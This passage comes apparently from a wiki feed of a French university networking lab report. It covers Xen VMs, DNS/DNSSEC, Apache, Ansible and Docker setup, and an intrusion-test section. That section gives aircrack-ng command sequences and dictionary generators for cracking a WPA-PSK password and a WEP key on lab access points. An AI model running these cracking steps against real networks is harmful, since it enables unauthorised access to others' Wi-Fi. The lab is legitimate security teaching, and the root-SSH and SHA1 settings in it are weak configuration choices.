==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51799</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51799"/>
				<updated>2019-12-11T10:26:53Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
